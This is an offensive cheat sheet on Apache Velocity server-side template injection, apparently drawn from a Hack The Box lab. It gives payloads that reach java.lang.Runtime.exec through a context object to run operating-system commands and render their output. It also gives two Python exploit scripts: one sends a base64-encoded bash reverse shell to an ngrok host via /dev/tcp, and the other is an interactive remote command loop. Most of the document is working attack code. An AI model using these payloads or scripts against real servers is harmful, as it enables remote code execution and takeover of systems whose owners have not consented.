Velocity RCE
Velocity context object to Runtime RCE
Manual payload template. CONTEXT_OBJECT represents the key passed to context.put() without the $ prefix, and <COMMAND> represents the operating-system command.
Testing
#set($run=1 + 1)$runExpected output
2Context object
Velocity context variables come from application calls shaped like:
context.put("CONTEXT_OBJECT", object);$CONTEXT_OBJECTExpected output
<rendered object value>Object class
.class returns the Java Class object representing the exposed context object.
$CONTEXT_OBJECT.classExpected output
class <fully qualified Java class>Runtime class lookup
forName() belongs to java.lang.Class and looks up another class by its full name.
$CONTEXT_OBJECT.class.forName("java.lang.Runtime")Expected output
class java.lang.RuntimeIn-band command execution and output
#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("<COMMAND>"))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#endExpected output
<command output>Runtime.exec() returns a Process stored in $ex. $exit stores the exit status after waitFor(), and $out stores the process stdout stream. $str and $chr store the Class objects for String and Character; the loop uses them to turn each stdout byte into rendered text.
Automation
Blind execution / reverse shell
Runtime.exec(String) does not process a command like an interactive shell. Shell quotes and redirections inside a normal bash -c '...' string are not interpreted as expected. The reverse-shell command is base64 encoded, then decoded and passed to Bash through a whitespace-free command that survives Runtime.exec() tokenization.
import base64
def send_ssti(s, ngrok_tcp_url, ngrok_tcp_port):
rev_shell_cmd = f"bash -i >& /dev/tcp/{ngrok_tcp_url}/{ngrok_tcp_port} 0>&1"
rev_shell_base64 = base64.b64encode(rev_shell_cmd.encode()).decode()
runtime_cmd = f"bash -c {{echo,{rev_shell_base64}}}|{{base64,-d}}|{{bash,-i}}"
payload = f'$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("{runtime_cmd}")'
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")In-band execution
This format runs the command, reads stdout from the returned Java Process, and renders the output into the HTTP response. repr(command) inserts the command as a quoted string in the Velocity payload. Commands that depend on shell operators still require a shell wrapper.
from bs4 import BeautifulSoup
def send_ssti(s, command):
payload = f'#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec({repr(command)}))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end'
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
sys.exit(1)
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")
return r.text
def read_ssti_output(response_text):
soup = BeautifulSoup(response_text, "html.parser")
output = soup.find("<OUTPUT_TAG>", {"class": "<OUTPUT_CLASS>"}).get_text().strip()
return outputif __name__ == "__main__":
s = requests.Session()
print(f"[+] {Fore.LIGHTGREEN_EX}Insert command to run below")
try:
while True:
command = input("> ").strip()
response_text = send_ssti(s, command)
print(read_ssti_output(response_text))
except KeyboardInterrupt:
print(f"[-] {Fore.RED}Execution stopped.")Find by: ssti, velocity, apache velocity, java, template injection, velocitycontext, context put, class, forName, java.lang.Runtime, getRuntime, exec, process, inputstream, command output, in band, blind execution, reverse shell, base64, bash, ngrok, beautifulsoup · Source: HTB/LabyrinthLinguis + Apache Velocity VELOCITY-877 + Testing Velocity SSTI